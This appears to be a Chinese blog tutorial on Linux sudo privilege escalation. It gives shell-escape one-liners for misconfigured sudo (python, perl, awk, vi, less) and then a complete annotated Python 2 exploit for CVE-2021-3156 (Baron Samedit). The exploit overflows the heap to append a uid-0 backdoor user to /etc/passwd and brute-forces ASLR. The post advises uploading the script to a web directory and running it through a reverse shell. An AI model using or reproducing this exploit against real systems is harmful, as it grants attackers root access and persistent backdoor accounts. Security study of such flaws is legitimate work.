SUdo提权

SUDO提权

在Linux中,sudo bash提权是指利用sudo配置不当免密执行权限,直接或间接获取root shell,

核心思路:若sudo -l显示当前用户可免密执行 /bin/bash或其他可调用shell的命令,即可直接提升到root权限。

(1)检查当前sudo权限

Sudo -l

若输出包含 (root) NOPASSWD:/bin/bash ,可直接执行:sudo /bin/bash 即可进入root shell

即使没有 /bin/bash,若存在其他可调用shell的命令,也可提权,例如:

sudo sh 

sudo zsh

sudo dash

sudo tcsh

这些命令在sudo -l中出现且免密时,均可直接获得root

二、利用可执行脚本/解释器:若sudo -l显示可免密执行某些解释器或工具,可通过调用系统命令提权:

【1】Python

sudo python3 -C 'import os; os.system("/bin/bash")'

【2】perl

sudo perl -e 'exec "/bin/bash";'

【3】Awk

sudo awk 'BEGIN {system("/bin/bash")}'

三、利用编辑器命令模式

若 sudo -l 中有 vi、vim、less、more 等,可进入命令模式执行 shell

例:vi提权

sudo vi -c ':!/bin/bash'

注:less、more 提权:

sudo less /etc/passwd # 进入到 less 界面后中输入 !/bin/bash

前提 ① sudo 配置不当(可以 root 权限执行)

less 和 more 支持在查看文件时执行系统命令(通过 ! 前缀)

③ 当以 sudo 方式执行时,启动的 shell 会继承 root 权限

四、 CVE-2021-3156,也被称为 Baron Samedit

(1)这是一个影响 sudo 程序的严重本地提权漏洞,允许任何本地用户(无论是否在 sudoers 列表中)在无需密码的情况下获得 root 权限

(2)漏洞类型:堆缓冲区溢出(Heap-based Buffer Overflow)

(3)影响范围:主要影响

Sudo 1.8.2 - 1.8.31p2

Sudo 1.9.0 - 1.9.5p1(sudo -v显示版本)

(4)漏洞原理:该漏洞源于 sudo 在解析命令行参数时,对反斜杠( \ )字符的转义处理存在缺陷。攻击者可以通过构造特殊的参数(如使用 sudoedit -s 命令),触发堆缓冲区溢出,从而覆盖相邻的内存区域,最终执行任意代码并获得 root 权限。因此只要存在sudoers文件(通常为/etc/sudoers,攻击者就可以使用本地普通用户利用sudo获得系统root权限)

(5) 检测方法:在普通用户下运行 sudoedit -s / 命令。

如果系统返回以 sudoedit: 开头的错误,则很可能存在漏洞(具体的大家可以尝试,不要因为没有显示“sudoedit”就觉得不存在漏洞),如果返回以 usage: 开头的错误,则说明系统已经打过补丁。

使用一个python脚本:(也可以自己上网去找exp)

#!/usr/bin/python
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER

# ====== 配置区 ======
SUDO_PATH = b"/usr/bin/sudo"
PASSWD_PATH = '/etc/passwd'
# 要追加到 /etc/passwd 的内容:用户名aa,密码hash,uid=0,gid=0,root权限
APPEND_CONTENT = b"aa:$5$AZaSmJBP$lsgF8hex//kd.G4XxUJGaS618ZtYoQ796UpkM/8Ucm3:0:0:gg:/root:/bin/bash\n"

# 栈地址页(需要根据目标系统调整)
# 关闭ASLR时: 0x7fffffff1000
# 开启ASLR时: 需要爆破,这里填一个可能的值
STACK_ADDR_PAGE = 0x7fffe5d35000

# ====== 基础函数 ======
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)

def execve(filename, cargv, cenvp):
    libc.execve(filename, cargv, cenvp)

def spawn_raw(filename, cargv, cenvp):
    """fork子进程执行sudoedit"""
    pid = os.fork()
    if pid:
        # 父进程等待子进程
        _, exit_code = os.waitpid(pid, 0)
        return exit_code
    else:
        # 子进程执行
        execve(filename, cargv, cenvp)
        exit(0)

def spawn(filename, argv, envp):
    cargv = (c_char_p * len(argv))(*argv)
    cenvp = (c_char_p * len(envp))(*envp)
    return spawn_raw(filename, cargv, cenvp)

# ====== 取消栈大小限制,允许分配大栈空间 ======
resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))

# ====== 构造argv ======
# sudoedit -A -s 会触发堆溢出漏洞
# -s 表示以shell模式运行
# -A 表示使用辅助程序获取密码
# 末尾的 "\\" 反斜杠是触发漏洞的关键(sudo对反斜杠转义处理有off-by-one)
TARGET_CMND_SIZE = 0x1b50
argv = [
    "sudoedit",
    "-A",
    "-s",
    PASSWD_PATH,
    "A" * (TARGET_CMND_SIZE - 0x10 - len(PASSWD_PATH) - 1) + "\\",  # 填充+反斜杠触发溢出
    None
]

# ====== 构造fake数据结构(堆风水) ======
SA = STACK_ADDR_PAGE

# 各种指针,指向栈上的fake结构体
ADDR_REFSTR = pack('<Q', SA + 0x20)         # ref string
ADDR_PRIV_PREV = pack('<Q', SA + 0x10)      # privilege链表prev
ADDR_CMND_PREV = pack('<Q', SA + 0x18)      # cmndspec链表prev
ADDR_MEMBER_PREV = pack('<Q', SA + 0x20)    # member链表prev
ADDR_DEF_VAR = pack('<Q', SA + 0x10)        # defaults.var
ADDR_DEF_BINDING = pack('<Q', SA + 0x30)    # defaults.binding

OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA + OFFSET)                        # userspec
ADDR_MEMBER = pack('<Q', SA + OFFSET + 0x40)               # member
ADDR_CMND = pack('<Q', SA + OFFSET + 0x40 + 0x30)         # cmndspec
ADDR_PRIV = pack('<Q', SA + OFFSET + 0x40 + 0x30 + 0x60)  # privilege

# ====== 构造堆喷页面(4KB对齐) ======
epage = [
    'A' * 0x8 +  # 不以0x00结尾

    # fake def->var chunk(会被free)
    '\x21', '', '', '', '', '', '',
    ADDR_PRIV[:6], '',       # pointer to privilege
    ADDR_CMND[:6], '',       # pointer to cmndspec
    ADDR_MEMBER[:6], '',     # pointer to member

    # fake def->binding (list head)(会被free)
    '\x21', '', '', '', '', '', '',
    '', '', '', '', '', '', '', '',   # members.first
    'A' * 0x10 +                     # members.last + padding

    # userspec chunk(会被free)
    '\x41', '', '', '', '', '', '',   # chunk metadata
    '', '', '', '', '', '', '', '',   # entries.tqe_next
    'A' * 0x8 +                      # entries.tqe_prev
    '', '', '', '', '', '', '', '',   # users.tqh_first
    ADDR_MEMBER[:6] + '', '',        # users.tqh_last
    '', '', '', '', '', '', '', '',   # privileges.tqh_first
    ADDR_PRIV[:6] + '', '',          # privileges.tqh_last
    '', '', '', '', '', '', '', '',   # comments.stqh_first

    # member chunk
    '\x31', '', '', '', '', '', '',   # chunk size
    'A' * 0x8 +                      # member.tqe_next
    ADDR_MEMBER_PREV[:6], '',        # member.tqe_prev
    'A' * 0x8 +                      # member.name
    pack('<H', 284), '',             # type=284(CMND), negated
    'A' * 0xc +                      # padding

    # cmndspec chunk
    '\x61' * 0x8 +                   # chunk metadata (prev_inuse flag)
    'A' * 0x8 +                      # entries.tqe_next
    ADDR_CMND_PREV[:6], '',          # entries.tqe_prev
    '', '', '', '', '', '', '', '',   # runasuserlist
    '', '', '', '', '', '', '', '',   # runasgrouplist
    ADDR_MEMBER[:6], '',             # cmnd
    '\xf9' + '\xff' * 0x17 +        # tag (NOPASSWD), timeout, notbefore, notafter
    '', '', '', '', '', '', '', '',   # role
    '', '', '', '', '', '', '', '',   # type
    'A' * 0x8 +                      # padding

    # privileges chunk
    '\x51' * 0x8 +                   # chunk metadata
    'A' * 0x8 +                      # entries.tqe_next
    ADDR_PRIV_PREV[:6], '',          # entries.tqe_prev
    'A' * 0x8 +                      # ldap_role
    'A' * 0x8 +                      # hostlist.tqh_first
    ADDR_MEMBER[:6], '',             # hostlist.tqh_last
    'A' * 0x8 +                      # cmndlist.tqh_first
    ADDR_CMND[:6], '',               # cmndlist.tqh_last
]

# 填充到4KB页面对齐
cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P' * (padlen - 1))

# ====== 构造env(利用堆溢出覆盖sudo内部数据结构) ======
env = [
    # 覆盖到第一个defaults结构
    "A" * (7 + 0x4010 + 0x110) +
    "\x21\\", "\\", "\\", "\\", "\\", "\\", "\\",
    "A" * 0x18 +

    # defaults结构
    "\x41\\", "\\", "\\", "\\", "\\", "\\", "\\",   # chunk size
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",  # next
    'a' * 8 +                                         # prev
    ADDR_DEF_VAR[:6] + '\\', '\\',                    # var
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",   # val
    ADDR_DEF_BINDING[:6] + '\\', '\\',                # binding
    ADDR_REFSTR[:6] + '\\', '\\',                     # file
    "Z" * 0x8 +                                       # type, op, error, lineno

    "\x31\\", "\\", "\\", "\\", "\\", "\\", "\\",    # chunk size
    'C' * 0x638 +                                     # 填充到userspec
    'B' * 0x1b0 +                                     # userspec chunk

    # 这个chunk不会被使用,但需要正确的链表遍历
    "\x61\\", "\\", "\\", "\\", "\\", "\\", "\\",    # chunk size
    ADDR_USER[:6] + '\\', '\\',                       # entries.tqe_next -> 栈上的fake userspec
    "A" * 8 +                                         # entries.tqe_prev
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",   # users.tqh_first
    ADDR_MEMBER[:6] + '\\', '\\',                     # users.tqh_last
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "",     # privileges.tqh_first

    "LC_ALL=C",
    # 关键:SUDO_EDITOR设为tee -a,这样sudo会调用tee追加内容到/etc/passwd
    "SUDO_EDITOR=/usr/bin/tee -a",
    "TZ=:",  # 时区设为空,减少日志输出
]

# ====== 堆喷:用大量环境变量填充堆空间 ======
ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
    env.extend(epage)

# 最后一个元素:为'/usr/bin/sudo'路径和额外8字节留空间
env[-1] = env[-1][:-len(SUDO_PATH) - 1 - 8]
env.append(None)

# ====== 构造C类型的argv和envp ======
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)

# ====== 准备stdin:写入要追加到passwd的内容 ======
# sudo调用tee -a时,会从stdin读取内容追加到/etc/passwd
r, w = os.pipe()
os.dup2(r, 0)       # stdin读端
w = os.fdopen(w, 'w')
w.write(APPEND_CONTENT)  # 写入恶意用户行
w.close()

# 关闭stderr,避免输出干扰
null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)

# ====== 爆破循环 ======
# 因为ASLR开启,栈地址不确定,需要多次尝试
for i in range(8192):
    sys.stdout.write('%d\r' % i)
    if i % 8 == 0:
        sys.stdout.flush()
    exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
    if exit_code == 0:
        print("success at %d" % i)
        break

这个脚本使用python2运行,部分centos自带python的。

把脚本上传到网站目录,然后反弹一个交互shell,运行脚本。

图片

成功后会生成一个aa的用户,默认密码为www

图片

posted @ 2026-06-19 13:31  Doll_Marker  阅读(29)  评论(0)    收藏  举报